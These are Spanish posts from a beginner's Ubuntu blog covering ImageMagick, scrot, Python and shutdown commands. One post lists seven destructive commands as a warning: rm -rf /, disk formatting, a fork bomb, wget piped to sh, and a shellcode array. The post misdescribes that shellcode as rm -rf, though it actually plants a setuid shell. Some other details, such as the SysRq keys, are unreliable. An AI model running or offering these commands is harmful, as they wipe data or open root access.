Mostrando entradas con la etiqueta comandos linux. Mostrar todas las entradas
Mostrando entradas con la etiqueta comandos linux. Mostrar todas las entradas

sábado, 26 de junio de 2010

Añadir texto a todas las imagenes de un directorio.

En ocasiones nos interesa firmar fotos, ya sea para colgarlas de internet y promocionarnos si se copian o distribuyen o para que otros no se cuelguen los laureles, o simplemente porque nos da la gana.
Hace algún tiempo hable de imagemagik bien lo primero es que lo tengas instalado para poder hacer lo que viene a continuación.

Si quieres firmar (añadir texto a una foto) situate en su directorio, ya sabes a base de dir y cd llegaras. Ahora ejecuta esta linea:


convert -fill red -pointsize 1
00 -font serif -draw 'text 150,2000 "http://ubuntu-paranovatos.blogspot.com/"' foto.jpg foto-con-texto.jpg

sustituye "http://ubuntu-paranovatos.blogspot.com/" por el texto que quieras poner y te creara un archivo "foto-con-texto.jpg" firmada en
red>rojo si pones black>negro Yellow>amarillo...
pointsize 100>>tamaño
font serif>>fuente
text 150,2000>>posición prueba con 50,160 y te lo pondrá arriba a la izquierda

Bueno ya tenemos algo claro no?
Ahora viene lo mejor. Y si queremos pasar todas las fotos que tengamos con un formato determinado y firmarlas todas?
Orden ante todo:
creamos un directorio en el que estan las fotos que en mi caso llamare firmadas:
$ mkdir firmadas
y ahora que ya tenemos el directorio podemos ejecutar este script en BASH
for picture in `ls *.JPG`
do
echo "convirtiendo $picture"
convert -fill red -pointsize 100 -font serif -draw 'text 150,2000 "http://ubuntu-paranovatos.blogspot.com/"' $picture firmadas/foto-$picture.jpg
done
Copia y pega en la linea de comandos del terminal y dale a enter empezará a convertir imágenes. (en este caso a firmarlas con el texto que le hayas puesto).
Como seguramente querrás poner tu propio texto, copialo en el blog de notas y haz los cambios oportunos.
Ojo *.JPG esta en mayusculas porque asi estabán las extensiones de mis archivos.












Ejemplo firma.

PROXIMAMENTE EN ESTE BLOG: Marca de agua. (Es lo mismo pero hasta que no lo pruebe no lo pongo).

viernes, 25 de junio de 2010

Apagar PC en linux

Apagar en entorno grafico es muy sencillo, asi que no voy a hablar de eso. Pero cuando estamos en modo texto puro y duro, no vale eso de cortar la alimentacion y ya esta, pues se pueden perder datos que aun no se han escrito en el disco. Asi pues.

1. para hacer un logout o cerrar sesion:



Posiblemente pedira usuario y pass para salir.

2. Para apagar el sistema:



Realizara las tareas necesarias y os avisará cuando acabe y ala a apagar y a coger aire fresco.

3. Para reiniciar:



Poco que decir reinicia el sistema.

Por ultimo para acabar, cuando se queda colgado hay una forma de reiniciar. Es un ultimo recurso que no suele funcionar ya que en Ubuntu la mayoria de cuelges son por culpa de algun hardware o incluso de la fuente de alimentación (bastante habitual).

Manteniendo apretadas las teclas CTRL Y SUPR (sin soltarlas). Tecleamos el famoso:
R - Devuelve el control al teclado (Raw).
E - Manda la señal SIGTERM a los procesos.
I  - Manda la señal SIGKILL a los procesos.
S - Sincroniza los filesystem montados.
U - Desmonta sistemas de ficheros. (Unmount).
B - reBot del sistema.

lunes, 31 de mayo de 2010

Python: Como empezar?


Bueno primero esta entrada es para aquellos que quieren aprender a programar y no tienen ni idea. Yo estoy en ese caso. Cuando me dio por aprender elegí python por su simplicidad y porque me recordaba un poco al Basic de mis años jovenes ya que es un lenguaje interpretado, sencillo y al parecer potente. Pero la primera en los morros me tire dos dias buscando un IDE, simple. Claro los que ya estan metidos en la materia lo tienen facil, pero para los novatos empiezas a googlear y que si eclipse, que si boaconstructor, que si, que si, que yo quiero aprender a programar sin buscar un tutorial para manejar un IDE, y no tener que hacer un master para poner en castellano el eclipse y no conseguirlo tras varias horas de busquedas y pruebas.

Asi que sin mas dilación vamos a ver como empezar a aprender en +/- 15 minutos.

1º Paso. Ver si tienes Python y si no lo tienes instalarlo.

Escribe en la consola:
$ Python
Si te sale esto o algo parecido  es que lo tienes.

Python 2.6.4 (r264:75706, Dec  7 2009, 18:45:15)
[GCC 4.4.1] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> 


(PARA SALIR DEL INTERPRETE ESCRIBE >>>exit()

Si no lo tienes, pues instalalo:

$ sudo apt-get install python

2º Paso. Instalar Ipyton. Yo no lo he llegado a utilizar, tan solo he trasteado un poco con el. Pero al parecer lo recomiendan en todos los tutoriales así que como cuesta poco instalarlo pues vamos a ello, tiene la ventaja de que colorea, numera y alguna cosita mas es decir el un interprete mejorado.

Según la web del proyecto yo lo instale así:

$ sudo apt-get install python-setuptools
$ sudo easy_install ipython

3 Paso. El mas interesante, instalar IDLE, un interprete y editor para dar tus primeros paso en Python, sencillo y muy intuitivo, y como es tan simple asi aprendes a escribir codigo.

Para instalar:

$ sudo apt-get install idle
Para ejecutar:
$ idle




Mini tutorial de idle:
Cuando arranques idle aparece la pantalla del interprete.

Si quieres escribir codigo: clicka file>new window y se te abre el editor.

Para ejecutarlo: pestaña run y run module.
Para chekear errores: run y check module.

Y para no repetirnos con el tipico hola mundo.
pues prueba:
>>>print 'hola colega como estas??'

Bueno para acabar te dejo un pequeño programa en python que te dice los años que son bisiestos. Forma parte de unos ejercicios que estoy haciendo.

#!usr/bin/python
# Escribe un programa que pida un año y que escriba si es bisiesto o no.
# Un año es bisiesto si es divisible por 4, excepto el último de cada siglo
# (aquel divisible por 100), salvo que este último sea divisible por 400.
#
ano=int(raw_input('introduce un año cualquiera y te dire si es bisiesto: '))
if ano%400==0 and ano%4==0:
    print ano,' es bisiesto. porque es multiplo de 400'
elif ano%100==0 and ano%4==0 and ano%400!=0:
    print ano,' no es bisiesto pòrque es multiplo de 4 y 100 pero no de 400'
elif ano%4==0 and ano%100!=0:
    print ano,' es bisiesto porque es multiplo de 4'
else:
    print ano,' no es bisiesto pues no es multiplo de 4 ni de 400'
print '--Pulsa enter para s
palir--'
raw_input()
Fijate lo que esta marcado en rojo, yo acabo todos los programas asi, de lo contrario algunas veces no te enteraras de lo que hace ya que abre y cierra el terminal muy rapido. Si lo ejecutas desde nautilus o desde la terminal.
raw_imput() lo que hace es que espera que pulses enter para finalizar.

Si te ha gustado esta entrada y te han quedado ganas de aprender este es un buen libro: http://mundogeek.net/tutorial-python/

Como ves esta entrada no es ningun tutorial de python tan solo es una forma de empezar sin dar muchas vueltas y no desnimarse antes de empezar.
Cuando aprenda contare mas cosas de momento espero sea de utilidad.

miércoles, 19 de mayo de 2010

Cosas que no hay que hacer en Linux.

Si acabas de llegar al mundo de linux, quizás puedas tropezar con alguna de estas lineas de comando, o quizás no. Yo realmente nunca las he visto fuera de este contexto, pero bueno como siempre es bueno conocer lo bueno y lo malo aquí te dejo 7 comandos mortales para tu linux.
Y recuerda en Dos también te pueden colar un >format c:.

--- NO EJECUTES NADA DE LO QUE HAY EN ESTA ENTRADA ---
  1. rm -rf /
    Este comando borrará de manera recursiva y convincente todos los archivos en el directorio raíz, aquí tienes un video para ver en acción el comando rm -rf /.
  2. char esp[] __attribute__ ((section(”.text”))) /* e.s.p
    release */
    = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
    “\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
    “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
    “\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
    “\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
    “\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
    “\x6e\x2f\x73\x68\x00\x2d\x63\x00″
    “cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;”;

    Esta es la versión hexadecimal de rm-rf / cualquiera puede caer en una trampa como esta.
  3. mkfs.ext3 /dev/sda
    Este comando formatea la partición que se menciona después de mkfs.
  4. :(){:|:&};:
    A este comando se le conoce cómo bomba fork, ejecutar un gran número de procesos hasta que el sistema se congela. Esto puede conducir a la corrupción de datos.
  5. any_command > /dev/sda
    Este comando provoca perdida total de datos, en la particion que se menciona en el comando
  6. wget http://cualquier site -O- | sh
    Esto descarga paquetes de cualquier sitio y la ejecuta, cuidado con lo que bajes, aunque eso no te pillara de nuevo.
  7. mv /home/tu-carpeta-home/* /dev/null
    Este comando va a mover todo el contenido de tu carpeta Home a un directorio que no existe, esto significa que ya nunca volverás a ver tus archivos.
-- NO EJECUTES NADA DE LO QUE HAY EN ESTA ENTRADA --

Esta entrada es con fines divulgativos y para prevenir posibles engaños, de los que ninguno estamos a salvo.

viernes, 14 de mayo de 2010

Captura de pantalla desde consola. scrot

Hacer una captura de pantalla es realmente sencillo desde teclado o mediante accesorios>capturar pantalla. Pero también podemos hacerlo mediante la consola con scrot
Para instalar:

$ sudo apt-get install scrot

Antes de hacer pruebas te aconsejo que cambies de directorio por ejemplo a Imágenes:

$ cd Imágenes (cambia a directorio imagenes)

para volver al directorio anterior

$ cd ..

Para volver al directorio raíz estés donde estés. (el que sale cuando abres la consola)

$ cd ~ ("~" -->> se obtiene con alt gr + ñ)

"Esto que acabo de comentar es muy básico pero no todos nacemos aprendidos."



Ya tenemos la aplicación ahora pongo algunos ejemplos de su funcionamiento:

$ scrot -d 0 nombre-archivo.jpg

Esto nos hace una captura al momento, -d 0 indica el tiempo de espera en este caso 0seg. si queremos que espere 5 seg. seria:

$ scrot -d 5 nombre-archivo.jpg



En la imagen de arriba podeis ver la captura realizada con:
$ scrot -d 5 prueba-desktop.jpg

Otra opción seria que además de esperar 5 seg hiciese la cuenta atras:

$ scrot -d 5 -c prueba-desktop.jpg

Y el resultado sería el siguiente:

Para visualizar desde la linea de comandos:

$ display nombre-archivo.jpg

Para capturar una zona determinada, delimitandola con el cursor:

$ scrot nom-archivo.png -s

Se pueden crear miniaturas con -t seguido el %, ajustar la calidad de compresión -q seguido de un numero entre 1-100, 75 por defecto. y mas cosas. Para mas información como siempre ejecuta:

$ man scrot

Para finalizar como ejemplo una linea completita:

scrot -d 10 -q 95 -t 30 screenshot.jpeg -b -s && display screenshot.jpeg

haria una captura a los 10 segundos -d, con una calidad del 95% -q, con un tamaño del 30%, de la zona delimitada por el cursor -s, incluyendo los bordes del gestor de ventanas -b. Y ademas lo visualizariamos con display.

Bueno una herramienta mas, espero te sirva.

viernes, 9 de abril de 2010

Programa PADRE. Declaración 2009

Ahora puedes descargar el programa PADRE para linux y hacer tu declaración de renta.

Descargar aqui.

Para instalar desde entorno grafico:

Dale permiso de ejecución, click derecho>propiedades>permisos>marcar "permitir ejecutar como programa.

 




Cierra ventana y doble click en el archivo renta2009_unix_1_00.sh



Para instalar desde la consola, situate en el directorio donde lo descargaste y dale permisos de ejecución.

$ chmod +x renta2009_unix_1_00.sh

Despues ejecutalo:

$ ./renta2009_unix_1_00.sh &

Se abrirá el instalador.















Vais aceptando y finalmente a colaborar con vuestros impuestos.


Eso es todo. Saludos lectores.

Para desistalar mejor que explicarlo yo visitad este enlace:
http://sliceoflinux.com/2010/04/19/desinstalar-el-programa-de-ayuda-renta-2009-padre/#comment-3465

jueves, 8 de abril de 2010

Linea de comandos Linux.

Hace tiempo que queria hacer una entrada sobre los comandos de Linux. Aunque aun tengo pendiente este trabajo de momento os dejo este fabuloso libro en formato pdf y en ingles sobre el tema.





Puedes descargarlo desde aqui.

Via |  http://linuxcommand.org/tlcl.php